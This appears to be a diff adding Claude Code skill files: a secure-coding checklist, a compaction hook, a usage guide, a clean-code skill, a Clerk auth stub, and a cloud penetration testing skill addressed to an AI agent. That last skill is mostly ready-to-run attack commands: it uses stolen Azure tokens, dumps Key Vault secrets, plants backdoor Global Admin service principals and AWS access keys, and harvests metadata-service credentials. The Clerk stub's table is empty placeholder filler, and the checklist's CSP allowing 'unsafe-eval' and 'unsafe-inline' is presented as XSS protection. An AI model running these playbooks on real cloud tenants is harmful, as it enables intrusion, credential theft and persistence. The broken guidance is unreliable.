+      { error: 'Unauthorized' },
+      { status: 403 }
+    )
+  }
+
+  // Proceed with deletion
+  await db.users.delete({ where: { id: userId } })
+}
+```
+
+#### Row Level Security (Supabase)
+```sql
+-- Enable RLS on all tables
+ALTER TABLE users ENABLE ROW LEVEL SECURITY;
+
+-- Users can only view their own data
+CREATE POLICY "Users view own data"
+  ON users FOR SELECT
+  USING (auth.uid() = id);
+
+-- Users can only update their own data
+CREATE POLICY "Users update own data"
+  ON users FOR UPDATE
+  USING (auth.uid() = id);
+```
+
+#### Verification Steps
+- [ ] Tokens stored in httpOnly cookies (not localStorage)
+- [ ] Authorization checks before sensitive operations
+- [ ] Row Level Security enabled in Supabase
+- [ ] Role-based access control implemented
+- [ ] Session management secure
+
+### 5. XSS Prevention
+
+#### Sanitize HTML
+```typescript
+import DOMPurify from 'isomorphic-dompurify'
+
+// ALWAYS sanitize user-provided HTML
+function renderUserContent(html: string) {
+  const clean = DOMPurify.sanitize(html, {
+    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'],
+    ALLOWED_ATTR: []
+  })
+  return <div dangerouslySetInnerHTML={{ __html: clean }} />
+}
+```
+
+#### Content Security Policy
+```typescript
+// next.config.js
+const securityHeaders = [
+  {
+    key: 'Content-Security-Policy',
+    value: `
+      default-src 'self';
+      script-src 'self' 'unsafe-eval' 'unsafe-inline';
+      style-src 'self' 'unsafe-inline';
+      img-src 'self' data: https:;
+      font-src 'self';
+      connect-src 'self' https://api.example.com;
+    `.replace(/\s{2,}/g, ' ').trim()
+  }
+]
+```
+
+#### Verification Steps
+- [ ] User-provided HTML sanitized
+- [ ] CSP headers configured
+- [ ] No unvalidated dynamic content rendering
+- [ ] React's built-in XSS protection used
+
+### 6. CSRF Protection
+
+#### CSRF Tokens
+```typescript
+import { csrf } from '@/lib/csrf'
+
+export async function POST(request: Request) {
+  const token = request.headers.get('X-CSRF-Token')
+
+  if (!csrf.verify(token)) {
+    return NextResponse.json(
+      { error: 'Invalid CSRF token' },
+      { status: 403 }
+    )
+  }
+
+  // Process request
+}
+```
+
+#### SameSite Cookies
+```typescript
+res.setHeader('Set-Cookie',
+  `session=${sessionId}; HttpOnly; Secure; SameSite=Strict`)
+```
+
+#### Verification Steps
+- [ ] CSRF tokens on state-changing operations
+- [ ] SameSite=Strict on all cookies
+- [ ] Double-submit cookie pattern implemented
+
+### 7. Rate Limiting
+
+#### API Rate Limiting
+```typescript
+import rateLimit from 'express-rate-limit'
+
+const limiter = rateLimit({
+  windowMs: 15 * 60 * 1000, // 15 minutes
+  max: 100, // 100 requests per window
+  message: 'Too many requests'
+})
+
+// Apply to routes
+app.use('/api/', limiter)
+```
+
+#### Expensive Operations
+```typescript
+// Aggressive rate limiting for searches
+const searchLimiter = rateLimit({
+  windowMs: 60 * 1000, // 1 minute
+  max: 10, // 10 requests per minute
+  message: 'Too many search requests'
+})
+
+app.use('/api/search', searchLimiter)
+```
+
+#### Verification Steps
+- [ ] Rate limiting on all API endpoints
+- [ ] Stricter limits on expensive operations
+- [ ] IP-based rate limiting
+- [ ] User-based rate limiting (authenticated)
+
+### 8. Sensitive Data Exposure
+
+#### Logging
+```typescript
+// ❌ WRONG: Logging sensitive data
+console.log('User login:', { email, password })
+console.log('Payment:', { cardNumber, cvv })
+
+// ✅ CORRECT: Redact sensitive data
+console.log('User login:', { email, userId })
+console.log('Payment:', { last4: card.last4, userId })
+```
+
+#### Error Messages
+```typescript
+// ❌ WRONG: Exposing internal details
+catch (error) {
+  return NextResponse.json(
+    { error: error.message, stack: error.stack },
+    { status: 500 }
+  )
+}
+
+// ✅ CORRECT: Generic error messages
+catch (error) {
+  console.error('Internal error:', error)
+  return NextResponse.json(
+    { error: 'An error occurred. Please try again.' },
+    { status: 500 }
+  )
+}
+```
+
+#### Verification Steps
+- [ ] No passwords, tokens, or secrets in logs
+- [ ] Error messages generic for users
+- [ ] Detailed errors only in server logs
+- [ ] No stack traces exposed to users
+
+### 9. Blockchain Security (Solana)
+
+#### Wallet Verification
+```typescript
+import { verify } from '@solana/web3.js'
+
+async function verifyWalletOwnership(
+  publicKey: string,
+  signature: string,
+  message: string
+) {
+  try {
+    const isValid = verify(
+      Buffer.from(message),
+      Buffer.from(signature, 'base64'),
+      Buffer.from(publicKey, 'base64')
+    )
+    return isValid
+  } catch (error) {
+    return false
+  }
+}
+```
+
+#### Transaction Verification
+```typescript
+async function verifyTransaction(transaction: Transaction) {
+  // Verify recipient
+  if (transaction.to !== expectedRecipient) {
+    throw new Error('Invalid recipient')
+  }
+
+  // Verify amount
+  if (transaction.amount > maxAmount) {
+    throw new Error('Amount exceeds limit')
+  }
+
+  // Verify user has sufficient balance
+  const balance = await getBalance(transaction.from)
+  if (balance < transaction.amount) {
+    throw new Error('Insufficient balance')
+  }
+
+  return true
+}
+```
+
+#### Verification Steps
+- [ ] Wallet signatures verified
+- [ ] Transaction details validated
+- [ ] Balance checks before transactions
+- [ ] No blind transaction signing
+
+### 10. Dependency Security
+
+#### Regular Updates
+```bash
+# Check for vulnerabilities
+npm audit
+
+# Fix automatically fixable issues
+npm audit fix
+
+# Update dependencies
+npm update
+
+# Check for outdated packages
+npm outdated
+```
+
+#### Lock Files
+```bash
+# ALWAYS commit lock files
+git add package-lock.json
+
+# Use in CI/CD for reproducible builds
+npm ci  # Instead of npm install
+```
+
+#### Verification Steps
+- [ ] Dependencies up to date
+- [ ] No known vulnerabilities (npm audit clean)
+- [ ] Lock files committed
+- [ ] Dependabot enabled on GitHub
+- [ ] Regular security updates
+
+## Security Testing
+
+### Automated Security Tests
+```typescript
+// Test authentication
+test('requires authentication', async () => {
+  const response = await fetch('/api/protected')
+  expect(response.status).toBe(401)
+})
+
+// Test authorization
+test('requires admin role', async () => {
+  const response = await fetch('/api/admin', {
+    headers: { Authorization: `Bearer ${userToken}` }
+  })
+  expect(response.status).toBe(403)
+})
+
+// Test input validation
+test('rejects invalid input', async () => {
+  const response = await fetch('/api/users', {
+    method: 'POST',
+    body: JSON.stringify({ email: 'not-an-email' })
+  })
+  expect(response.status).toBe(400)
+})
+
+// Test rate limiting
+test('enforces rate limits', async () => {
+  const requests = Array(101).fill(null).map(() =>
+    fetch('/api/endpoint')
+  )
+
+  const responses = await Promise.all(requests)
+  const tooManyRequests = responses.filter(r => r.status === 429)
+
+  expect(tooManyRequests.length).toBeGreaterThan(0)
+})
+```
+
+## Pre-Deployment Security Checklist
+
+Before ANY production deployment:
+
+- [ ] **Secrets**: No hardcoded secrets, all in env vars
+- [ ] **Input Validation**: All user inputs validated
+- [ ] **SQL Injection**: All queries parameterized
+- [ ] **XSS**: User content sanitized
+- [ ] **CSRF**: Protection enabled
+- [ ] **Authentication**: Proper token handling
+- [ ] **Authorization**: Role checks in place
+- [ ] **Rate Limiting**: Enabled on all endpoints
+- [ ] **HTTPS**: Enforced in production
+- [ ] **Security Headers**: CSP, X-Frame-Options configured
+- [ ] **Error Handling**: No sensitive data in errors
+- [ ] **Logging**: No sensitive data logged
+- [ ] **Dependencies**: Up to date, no vulnerabilities
+- [ ] **Row Level Security**: Enabled in Supabase
+- [ ] **CORS**: Properly configured
+- [ ] **File Uploads**: Validated (size, type)
+- [ ] **Wallet Signatures**: Verified (if blockchain)
+
+## Resources
+
+- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
+- [Next.js Security](https://nextjs.org/docs/security)
+- [Supabase Security](https://supabase.com/docs/guides/auth)
+- [Web Security Academy](https://portswigger.net/web-security)
+
+---
+
+**Remember**: Security is not optional. One vulnerability can compromise the entire platform. When in doubt, err on the side of caution.

skills/cc-skill-strategic-compact/SKILL.md

@@ -0,0 +1,10 @@
+---
+name: cc-skill-strategic-compact
+description: Development skill from everything-claude-code
+author: affaan-m
+version: "1.0"
+---
+
+# cc-skill-strategic-compact
+
+Development skill skill.

skills/cc-skill-strategic-compact/suggest-compact.sh

@@ -0,0 +1,52 @@
+#!/bin/bash
+# Strategic Compact Suggester
+# Runs on PreToolUse or periodically to suggest manual compaction at logical intervals
+#
+# Why manual over auto-compact:
+# - Auto-compact happens at arbitrary points, often mid-task
+# - Strategic compacting preserves context through logical phases
+# - Compact after exploration, before execution
+# - Compact after completing a milestone, before starting next
+#
+# Hook config (in ~/.claude/settings.json):
+# {
+#   "hooks": {
+#     "PreToolUse": [{
+#       "matcher": "Edit|Write",
+#       "hooks": [{
+#         "type": "command",
+#         "command": "~/.claude/skills/strategic-compact/suggest-compact.sh"
+#       }]
+#     }]
+#   }
+# }
+#
+# Criteria for suggesting compact:
+# - Session has been running for extended period
+# - Large number of tool calls made
+# - Transitioning from research/exploration to implementation
+# - Plan has been finalized
+
+# Track tool call count (increment in a temp file)
+COUNTER_FILE="/tmp/claude-tool-count-$$"
+THRESHOLD=${COMPACT_THRESHOLD:-50}
+
+# Initialize or increment counter
+if [ -f "$COUNTER_FILE" ]; then
+  count=$(cat "$COUNTER_FILE")
+  count=$((count + 1))
+  echo "$count" > "$COUNTER_FILE"
+else
+  echo "1" > "$COUNTER_FILE"
+  count=1
+fi
+
+# Suggest compact after threshold tool calls
+if [ "$count" -eq "$THRESHOLD" ]; then
+  echo "[StrategicCompact] $THRESHOLD tool calls reached - consider /compact if transitioning phases" >&2
+fi
+
+# Suggest at regular intervals after threshold
+if [ "$count" -gt "$THRESHOLD" ] && [ $((count % 25)) -eq 0 ]; then
+  echo "[StrategicCompact] $count tool calls - good checkpoint for /compact if context is stale" >&2
+fi

skills/claude-code-guide/SKILL.md

@@ -0,0 +1,68 @@
+---
+name: Claude Code Guide
+description: Master guide for using Claude Code effectively. Includes configuration templates, prompting strategies "Thinking" keywords, debugging techniques, and best practices for interacting with the agent.
+---
+
+# Claude Code Guide
+
+## Purpose
+
+To provide a comprehensive reference for configuring and using Claude Code (the agentic coding tool) to its full potential. This skill synthesizes best practices, configuration templates, and advanced usage patterns.
+
+## Configuration (`CLAUDE.md`)
+
+When starting a new project, create a `CLAUDE.md` file in the root directory to guide the agent.
+
+### Template (General)
+
+```markdown
+# Project Guidelines
+
+## Commands
+
+- Run app: `npm run dev`
+- Test: `npm test`
+- Build: `npm run build`
+
+## Code Style
+
+- Use TypeScript for all new code.
+- Functional components with Hooks for React.
+- Tailwind CSS for styling.
+- Early returns for error handling.
+
+## Workflow
+
+- Read `README.md` first to understand project context.
+- Before editing, read the file content.
+- After editing, run tests to verify.
+```
+
+## Advanced Features
+
+### Thinking Keywords
+
+Use these keywords in your prompts to trigger deeper reasoning from the agent:
+
+- "Think step-by-step"
+- "Analyze the root cause"
+- "Plan before executing"
+- "Verify your assumptions"
+
+### Debugging
+
+If the agent is stuck or behaving unexpectedly:
+
+1. **Clear Context**: Start a new session or ask the agent to "forget previous instructions" if confused.
+2. **Explicit Instructions**: Be extremely specific about paths, filenames, and desired outcomes.
+3. **Logs**: Ask the agent to "check the logs" or "run the command with verbose output".
+
+## Best Practices
+
+1. **Small Contexts**: Don't dump the entire codebase into the context. Use `grep` or `find` to locate relevant files first.
+2. **Iterative Development**: Ask for small changes, verify, then proceed.
+3. **Feedback Loop**: If the agent makes a mistake, correct it immediately and ask it to "add a lesson" to its memory (if supported) or `CLAUDE.md`.
+
+## Reference
+
+Based on [Claude Code Guide by zebbern](https://github.com/zebbern/claude-code-guide).

skills/clean-code/SKILL.md

@@ -0,0 +1,201 @@
+---
+name: clean-code
+description: Pragmatic coding standards - concise, direct, no over-engineering, no unnecessary comments
+allowed-tools: Read, Write, Edit
+version: 2.0
+priority: CRITICAL
+---
+
+# Clean Code - Pragmatic AI Coding Standards
+
+> **CRITICAL SKILL** - Be **concise, direct, and solution-focused**.
+
+---
+
+## Core Principles
+
+| Principle | Rule |
+|-----------|------|
+| **SRP** | Single Responsibility - each function/class does ONE thing |
+| **DRY** | Don't Repeat Yourself - extract duplicates, reuse |
+| **KISS** | Keep It Simple - simplest solution that works |
+| **YAGNI** | You Aren't Gonna Need It - don't build unused features |
+| **Boy Scout** | Leave code cleaner than you found it |
+
+---
+
+## Naming Rules
+
+| Element | Convention |
+|---------|------------|
+| **Variables** | Reveal intent: `userCount` not `n` |
+| **Functions** | Verb + noun: `getUserById()` not `user()` |
+| **Booleans** | Question form: `isActive`, `hasPermission`, `canEdit` |
+| **Constants** | SCREAMING_SNAKE: `MAX_RETRY_COUNT` |
+
+> **Rule:** If you need a comment to explain a name, rename it.
+
+---
+
+## Function Rules
+
+| Rule | Description |
+|------|-------------|
+| **Small** | Max 20 lines, ideally 5-10 |
+| **One Thing** | Does one thing, does it well |
+| **One Level** | One level of abstraction per function |
+| **Few Args** | Max 3 arguments, prefer 0-2 |
+| **No Side Effects** | Don't mutate inputs unexpectedly |
+
+---
+
+## Code Structure
+
+| Pattern | Apply |
+|---------|-------|
+| **Guard Clauses** | Early returns for edge cases |
+| **Flat > Nested** | Avoid deep nesting (max 2 levels) |
+| **Composition** | Small functions composed together |
+| **Colocation** | Keep related code close |
+
+---
+
+## AI Coding Style
+
+| Situation | Action |
+|-----------|--------|
+| User asks for feature | Write it directly |
+| User reports bug | Fix it, don't explain |
+| No clear requirement | Ask, don't assume |
+
+---
+
+## Anti-Patterns (DON'T)
+
+| ❌ Pattern | ✅ Fix |
+|-----------|-------|
+| Comment every line | Delete obvious comments |
+| Helper for one-liner | Inline the code |
+| Factory for 2 objects | Direct instantiation |
+| utils.ts with 1 function | Put code where used |
+| "First we import..." | Just write code |
+| Deep nesting | Guard clauses |
+| Magic numbers | Named constants |
+| God functions | Split by responsibility |
+
+---
+
+## 🔴 Before Editing ANY File (THINK FIRST!)
+
+**Before changing a file, ask yourself:**
+
+| Question | Why |
+|----------|-----|
+| **What imports this file?** | They might break |
+| **What does this file import?** | Interface changes |
+| **What tests cover this?** | Tests might fail |
+| **Is this a shared component?** | Multiple places affected |
+
+**Quick Check:**
+```
+File to edit: UserService.ts
+└── Who imports this? → UserController.ts, AuthController.ts
+└── Do they need changes too? → Check function signatures
+```
+
+> 🔴 **Rule:** Edit the file + all dependent files in the SAME task.
+> 🔴 **Never leave broken imports or missing updates.**
+
+---
+
+## Summary
+
+| Do | Don't |
+|----|-------|
+| Write code directly | Write tutorials |
+| Let code self-document | Add obvious comments |
+| Fix bugs immediately | Explain the fix first |
+| Inline small things | Create unnecessary files |
+| Name things clearly | Use abbreviations |
+| Keep functions small | Write 100+ line functions |
+
+> **Remember: The user wants working code, not a programming lesson.**
+
+---
+
+## 🔴 Self-Check Before Completing (MANDATORY)
+
+**Before saying "task complete", verify:**
+
+| Check | Question |
+|-------|----------|
+| ✅ **Goal met?** | Did I do exactly what user asked? |
+| ✅ **Files edited?** | Did I modify all necessary files? |
+| ✅ **Code works?** | Did I test/verify the change? |
+| ✅ **No errors?** | Lint and TypeScript pass? |
+| ✅ **Nothing forgotten?** | Any edge cases missed? |
+
+> 🔴 **Rule:** If ANY check fails, fix it before completing.
+
+---
+
+## Verification Scripts (MANDATORY)
+
+> 🔴 **CRITICAL:** Each agent runs ONLY their own skill's scripts after completing work.
+
+### Agent → Script Mapping
+
+| Agent | Script | Command |
+|-------|--------|---------|
+| **frontend-specialist** | UX Audit | `python ~/.claude/skills/frontend-design/scripts/ux_audit.py .` |
+| **frontend-specialist** | A11y Check | `python ~/.claude/skills/frontend-design/scripts/accessibility_checker.py .` |
+| **backend-specialist** | API Validator | `python ~/.claude/skills/api-patterns/scripts/api_validator.py .` |
+| **mobile-developer** | Mobile Audit | `python ~/.claude/skills/mobile-design/scripts/mobile_audit.py .` |
+| **database-architect** | Schema Validate | `python ~/.claude/skills/database-design/scripts/schema_validator.py .` |
+| **security-auditor** | Security Scan | `python ~/.claude/skills/vulnerability-scanner/scripts/security_scan.py .` |
+| **seo-specialist** | SEO Check | `python ~/.claude/skills/seo-fundamentals/scripts/seo_checker.py .` |
+| **seo-specialist** | GEO Check | `python ~/.claude/skills/geo-fundamentals/scripts/geo_checker.py .` |
+| **performance-optimizer** | Lighthouse | `python ~/.claude/skills/performance-profiling/scripts/lighthouse_audit.py <url>` |
+| **test-engineer** | Test Runner | `python ~/.claude/skills/testing-patterns/scripts/test_runner.py .` |
+| **test-engineer** | Playwright | `python ~/.claude/skills/webapp-testing/scripts/playwright_runner.py <url>` |
+| **Any agent** | Lint Check | `python ~/.claude/skills/lint-and-validate/scripts/lint_runner.py .` |
+| **Any agent** | Type Coverage | `python ~/.claude/skills/lint-and-validate/scripts/type_coverage.py .` |
+| **Any agent** | i18n Check | `python ~/.claude/skills/i18n-localization/scripts/i18n_checker.py .` |
+
+> ❌ **WRONG:** `test-engineer` running `ux_audit.py`
+> ✅ **CORRECT:** `frontend-specialist` running `ux_audit.py`
+
+---
+
+### 🔴 Script Output Handling (READ → SUMMARIZE → ASK)
+
+**When running a validation script, you MUST:**
+
+1. **Run the script** and capture ALL output
+2. **Parse the output** - identify errors, warnings, and passes
+3. **Summarize to user** in this format:
+
+```markdown
+## Script Results: [script_name.py]
+
+### ❌ Errors Found (X items)
+- [File:Line] Error description 1
+- [File:Line] Error description 2
+
+### ⚠️ Warnings (Y items)
+- [File:Line] Warning description
+
+### ✅ Passed (Z items)
+- Check 1 passed
+- Check 2 passed
+
+**Should I fix the X errors?**
+```
+
+4. **Wait for user confirmation** before fixing
+5. **After fixing** → Re-run script to confirm
+
+> 🔴 **VIOLATION:** Running script and ignoring output = FAILED task.
+> 🔴 **VIOLATION:** Auto-fixing without asking = Not allowed.
+> 🔴 **Rule:** Always READ output → SUMMARIZE → ASK → then fix.
+

skills/clerk-auth/SKILL.md

@@ -0,0 +1,56 @@
+---
+name: clerk-auth
+description: "Expert patterns for Clerk auth implementation, middleware, organizations, webhooks, and user sync Use when: adding authentication, clerk auth, user authentication, sign in, sign up."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# Clerk Authentication
+
+## Patterns
+
+### Next.js App Router Setup
+
+Complete Clerk setup for Next.js 14/15 App Router.
+
+Includes ClerkProvider, environment variables, and basic
+sign-in/sign-up components.
+
+Key components:
+- ClerkProvider: Wraps app for auth context
+- <SignIn />, <SignUp />: Pre-built auth forms
+- <UserButton />: User menu with session management
+
+
+### Middleware Route Protection
+
+Protect routes using clerkMiddleware and createRouteMatcher.
+
+Best practices:
+- Single middleware.ts file at project root
+- Use createRouteMatcher for route groups
+- auth.protect() for explicit protection
+- Centralize all auth logic in middleware
+
+
+### Server Component Authentication
+
+Access auth state in Server Components using auth() and currentUser().
+
+Key functions:
+- auth(): Returns userId, sessionId, orgId, claims
+- currentUser(): Returns full User object
+- Both require clerkMiddleware to be configured
+
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Issue | critical | See docs |
+| Issue | high | See docs |
+| Issue | high | See docs |
+| Issue | high | See docs |
+| Issue | medium | See docs |
+| Issue | medium | See docs |
+| Issue | medium | See docs |
+| Issue | medium | See docs |

skills/cloud-penetration-testing/SKILL.md

@@ -0,0 +1,501 @@
+---
+name: Cloud Penetration Testing
+description: This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# Cloud Penetration Testing
+
+## Purpose
+
+Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.
+
+## Prerequisites
+
+### Required Tools
+```bash
+# Azure tools
+Install-Module -Name Az -AllowClobber -Force
+Install-Module -Name MSOnline -Force
+Install-Module -Name AzureAD -Force
+
+# AWS CLI
+curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
+unzip awscliv2.zip && sudo ./aws/install
+
+# GCP CLI
+curl https://sdk.cloud.google.com | bash
+gcloud init
+
+# Additional tools
+pip install scoutsuite pacu
+```
+
+### Required Knowledge
+- Cloud architecture fundamentals
+- Identity and Access Management (IAM)
+- API authentication mechanisms
+- DevOps and automation concepts
+
+### Required Access
+- Written authorization for testing
+- Test credentials or access tokens
+- Defined scope and rules of engagement
+
+## Outputs and Deliverables
+
+1. **Cloud Security Assessment Report** - Comprehensive findings and risk ratings
+2. **Resource Inventory** - Enumerated services, storage, and compute instances
+3. **Credential Findings** - Exposed secrets, keys, and misconfigurations
+4. **Remediation Recommendations** - Hardening guidance per platform
+
+## Core Workflow
+
+### Phase 1: Reconnaissance
+
+Gather initial information about target cloud presence:
+
+```bash
+# Azure: Get federation info
+curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"
+
+# Azure: Get Tenant ID
+curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"
+
+# Enumerate cloud resources by company name
+python3 cloud_enum.py -k targetcompany
+
+# Check IP against cloud providers
+cat ips.txt | python3 ip2provider.py
+```
+
+### Phase 2: Azure Authentication
+
+Authenticate to Azure environments:
+
+```powershell
+# Az PowerShell Module
+Import-Module Az
+Connect-AzAccount
+
+# With credentials (may bypass MFA)
+$credential = Get-Credential
+Connect-AzAccount -Credential $credential
+
+# Import stolen context
+Import-AzContext -Profile 'C:\Temp\StolenToken.json'
+
+# Export context for persistence
+Save-AzContext -Path C:\Temp\AzureAccessToken.json
+
+# MSOnline Module
+Import-Module MSOnline
+Connect-MsolService
+```
+
+### Phase 3: Azure Enumeration
+
+Discover Azure resources and permissions:
+
+```powershell
+# List contexts and subscriptions
+Get-AzContext -ListAvailable
+Get-AzSubscription
+
+# Current user role assignments
+Get-AzRoleAssignment
+
+# List resources
+Get-AzResource
+Get-AzResourceGroup
+
+# Storage accounts
+Get-AzStorageAccount
+
+# Web applications
+Get-AzWebApp
+
+# SQL Servers and databases
+Get-AzSQLServer
+Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG
+
+# Virtual machines
+Get-AzVM
+$vm = Get-AzVM -Name "VMName"
+$vm.OSProfile
+
+# List all users
+Get-MSolUser -All
+
+# List all groups
+Get-MSolGroup -All
+
+# Global Admins
+Get-MsolRole -RoleName "Company Administrator"
+Get-MSolGroupMember -GroupObjectId $GUID
+
+# Service Principals
+Get-MsolServicePrincipal
+```
+
+### Phase 4: Azure Exploitation
+
+Exploit Azure misconfigurations:
+
+```powershell
+# Search user attributes for passwords
+$users = Get-MsolUser -All
+foreach($user in $users){
+    $props = @()
+    $user | Get-Member | foreach-object{$props+=$_.Name}
+    foreach($prop in $props){
+        if($user.$prop -like "*password*"){
+            Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
+        }
+    }
+}
+
+# Execute commands on VMs
+Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1
+
+# Extract VM UserData
+$vms = Get-AzVM
+$vms.UserData
+
+# Dump Key Vault secrets
+az keyvault list --query '[].name' --output tsv
+az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
+az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
+az keyvault secret show --id <URI>
+```
+
+### Phase 5: Azure Persistence
+
+Establish persistence in Azure:
+
+```powershell
+# Create backdoor service principal
+$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
+$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
+$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
+
+# Add service principal to Global Admin
+$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
+$role = Get-MsolRole -RoleName "Company Administrator"
+Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId
+
+# Login as service principal
+$cred = Get-Credential  # AppID as username, secret as password
+Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal
+
+# Create new admin user via CLI
+az ad user create --display-name <name> --password <pass> --user-principal-name <upn>
+```
+
+### Phase 6: AWS Authentication
+
+Authenticate to AWS environments:
+
+```bash
+# Configure AWS CLI
+aws configure
+# Enter: Access Key ID, Secret Access Key, Region, Output format
+
+# Use specific profile
+aws configure --profile target
+
+# Test credentials
+aws sts get-caller-identity
+```
+
+### Phase 7: AWS Enumeration
+
+Discover AWS resources:
+
+```bash
+# Account information
+aws sts get-caller-identity
+aws iam list-users
+aws iam list-roles
+
+# S3 Buckets
+aws s3 ls
+aws s3 ls s3://bucket-name/
+aws s3 sync s3://bucket-name ./local-dir
+
+# EC2 Instances
+aws ec2 describe-instances
+
+# RDS Databases
+aws rds describe-db-instances --region us-east-1
+
+# Lambda Functions
+aws lambda list-functions --region us-east-1
+aws lambda get-function --function-name <name>
+
+# EKS Clusters
+aws eks list-clusters --region us-east-1
+
+# Networking
+aws ec2 describe-subnets
+aws ec2 describe-security-groups --group-ids <sg-id>
+aws directconnect describe-connections
+```
+
+### Phase 8: AWS Exploitation
+
+Exploit AWS misconfigurations:
+
+```bash
+# Check for public RDS snapshots
+aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier
+aws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>
+# AttributeValues = "all" means publicly accessible
+
+# Extract Lambda environment variables (may contain secrets)
+aws lambda get-function --function-name <name> | jq '.Configuration.Environment'
+
+# Access metadata service (from compromised EC2)
+curl http://169.254.169.254/latest/meta-data/
+curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
+
+# IMDSv2 access
+TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
+```
+
+### Phase 9: AWS Persistence
+
+Establish persistence in AWS:
+
+```bash
+# List existing access keys
+aws iam list-access-keys --user-name <username>
+
+# Create backdoor access key
+aws iam create-access-key --user-name <username>
+
+# Get all EC2 public IPs
+for region in $(cat regions.txt); do
+    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'
+done
+```
+
+### Phase 10: GCP Enumeration
+
+Discover GCP resources:
+
+```bash
+# Authentication
+gcloud auth login
+gcloud auth activate-service-account --key-file creds.json
+gcloud auth list
+
+# Account information
+gcloud config list
+gcloud organizations list
+gcloud projects list
+
+# IAM Policies
+gcloud organizations get-iam-policy <org-id>
+gcloud projects get-iam-policy <project-id>
+
+# Enabled services
+gcloud services list
+
+# Source code repos
+gcloud source repos list
+gcloud source repos clone <repo>
+
+# Compute instances
+gcloud compute instances list
+gcloud beta compute ssh --zone "region" "instance" --project "project"
+
+# Storage buckets
+gsutil ls
+gsutil ls -r gs://bucket-name
+gsutil cp gs://bucket/file ./local
+
+# SQL instances
+gcloud sql instances list
+gcloud sql databases list --instance <id>
+
+# Kubernetes
+gcloud container clusters list
+gcloud container clusters get-credentials <cluster> --region <region>
+kubectl cluster-info
+```
+
+### Phase 11: GCP Exploitation
+
+Exploit GCP misconfigurations:
+
+```bash
+# Get metadata service data
+curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"
+
+# Check access scopes
+curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'
+
+# Decrypt data with keyring
+gcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global
+
+# Serverless function analysis
+gcloud functions list
+gcloud functions describe <name>
+gcloud functions logs read <name> --limit 100
+
+# Find stored credentials
+sudo find /home -name "credentials.db"
+sudo cp -r /home/user/.config/gcloud ~/.config
+gcloud auth list
+```
+
+## Quick Reference
+
+### Azure Key Commands
+
+| Action | Command |
+|--------|---------|
+| Login | `Connect-AzAccount` |
+| List subscriptions | `Get-AzSubscription` |
+| List users | `Get-MsolUser -All` |
+| List groups | `Get-MsolGroup -All` |
+| Current roles | `Get-AzRoleAssignment` |
+| List VMs | `Get-AzVM` |
+| List storage | `Get-AzStorageAccount` |
+| Key Vault secrets | `az keyvault secret list --vault-name <name>` |
+
+### AWS Key Commands
+
+| Action | Command |
+|--------|---------|
+| Configure | `aws configure` |
+| Caller identity | `aws sts get-caller-identity` |
+| List users | `aws iam list-users` |
+| List S3 buckets | `aws s3 ls` |
+| List EC2 | `aws ec2 describe-instances` |
+| List Lambda | `aws lambda list-functions` |
+| Metadata | `curl http://169.254.169.254/latest/meta-data/` |
+
+### GCP Key Commands
+
+| Action | Command |
+|--------|---------|
+| Login | `gcloud auth login` |
+| List projects | `gcloud projects list` |
+| List instances | `gcloud compute instances list` |
+| List buckets | `gsutil ls` |
+| List clusters | `gcloud container clusters list` |
+| IAM policy | `gcloud projects get-iam-policy <project>` |
+| Metadata | `curl -H "Metadata-Flavor: Google" http://metadata.google.internal/...` |
+
+### Metadata Service URLs
+
+| Provider | URL |
+|----------|-----|
+| AWS | `http://169.254.169.254/latest/meta-data/` |
+| Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` |
+| GCP | `http://metadata.google.internal/computeMetadata/v1/` |
+
+### Useful Tools
+
+| Tool | Purpose |
+|------|---------|
+| ScoutSuite | Multi-cloud security auditing |
+| Pacu | AWS exploitation framework |
+| AzureHound | Azure AD attack path mapping |
+| ROADTools | Azure AD enumeration |
+| WeirdAAL | AWS service enumeration |
+| MicroBurst | Azure security assessment |
+| PowerZure | Azure post-exploitation |
+
+## Constraints and Limitations
+
+### Legal Requirements
+- Only test with explicit written authorization
+- Respect scope boundaries between cloud accounts
+- Do not access production customer data
+- Document all testing activities
+
+### Technical Limitations
